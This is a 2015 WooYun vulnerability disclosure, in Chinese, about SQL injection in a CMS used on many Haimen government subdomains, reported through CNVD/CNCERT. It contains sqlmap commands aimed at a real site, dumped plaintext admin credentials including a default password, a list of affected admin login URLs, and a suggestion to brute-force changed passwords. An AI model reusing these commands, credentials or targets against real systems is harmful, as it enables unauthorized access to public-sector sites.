当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103045

漏洞标题：海门市人民政府某分站sql注入及多个分站通用账号密码

相关厂商：海门市人民政府

漏洞作者： 小天

提交时间：2015-03-24 14:22

修复时间：2015-05-11 16:12

公开时间：2015-05-11 16:12

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-24： 细节已通知厂商并且等待厂商处理中
2015-03-27： 厂商已经确认，细节仅向厂商公开
2015-04-06： 细节向核心白帽子及相关领域专家公开
2015-04-16： 细节向普通白帽子公开
2015-04-26： 细节向实习白帽子公开
2015-05-11： 细节向公众公开

简要描述：

一个CMS注射，
我也不知道是哪里的厂商，
但是，有好多个政府部门都用的是，，，，
政府我没动啊

详细说明：


注入点，随意点进去一个广告：
http://clz.haimen.gov.cn/view.asp?keyno=2151
测试，

E:\sqlmap2>sqlmap.py   -u http://clz.haimen.gov.cn/view.asp?keyno=2151  --tables
Database: Microsoft_Access_masterdb
[7 tables]
+------------+
| adminuser  |
| contact    |
| links      |
| news       |
| user_login |
| userinfo   |
| vote       |
+------------+
E:\sqlmap2>sqlmap.py   -u http://clz.haimen.gov.cn/view.asp?keyno=2151  --dump -
T  adminuser
Database: Microsoft_Access_masterdb
Table: adminuser
[2 entries]
+----+------+----------+---------------------------+--------------+
| id | data | username | realname                  | userpass     |
+----+------+----------+---------------------------+--------------+
| 1  | <blank> | Admin    | |\\?fb~\\?df{\\?a1t\x06TX | 7200cisco888 |
| 39 | <blank> | hmcl888  | ^8NP?e?^\\?9c             | jshmcl888    |
+----+------+----------+---------------------------+--------------+


得到
账号：Admin
密码：7200cisco888
账号：hmcl888
密码：jshmcl888
登录地址：http://clz.haimen.gov.cn//admin/login.asp
如下图：

tt.png


网站内部截图：

66.png


经过测试：
该CMS的默认账号密码就是第一个
账号：Admin
密码：7200cisco888
受影响政府网站如下： 前几个都是默认的账号和密码，，，有几个改了密码了，不过也可以爆破出来
http://zgh.haimen.gov.cn/admin/login.asp海门市总工会
http://wmw.haimen.gov.cn/admin/login.asp 海门市文明网
http://hmgxq.haimen.gov.cn/admin/login.asp 海门港新区
http://skzc.haimen.gov.cn/admin/login.asp 海门市社科之窗
http://wjj.haimen.gov.cn/admin/login.asp 海门市物价网
http://dz.haimen.gov.cn/admin/default.asp 海门市开发区
http://redcross.haimen.gov.cn/admin/login.asp 红十字
http://hmgxq.haimen.gov.cn/ 海门港新区
http://clz.haimen.gov.cn//admin/login.asp 海门市常乐镇人民政府
http://wsjyl.hmmzj.haimen.gov.cn/admin/login.asp?海门市烈士陵园
http://gyyq-esc.haimen.gov.cn/admin/login.asp? 海门市企业服务中心
http://gqt.haimen.gov.cn/admin/login.asp 海门公青团
http://women.haimen.gov.cn/admin/login.asp 海门女性网

漏洞证明：

铁证如下：，，，政府网站我可没动，，权限也没拿

1111.png


1112.png


1113.png


1115.png


tt.png

修复方案：

过滤

版权声明：转载请注明来源 小天@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-03-27 16:10

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给海南分中心，由其后续协调网站管理单位处置。

最新状态：

暂无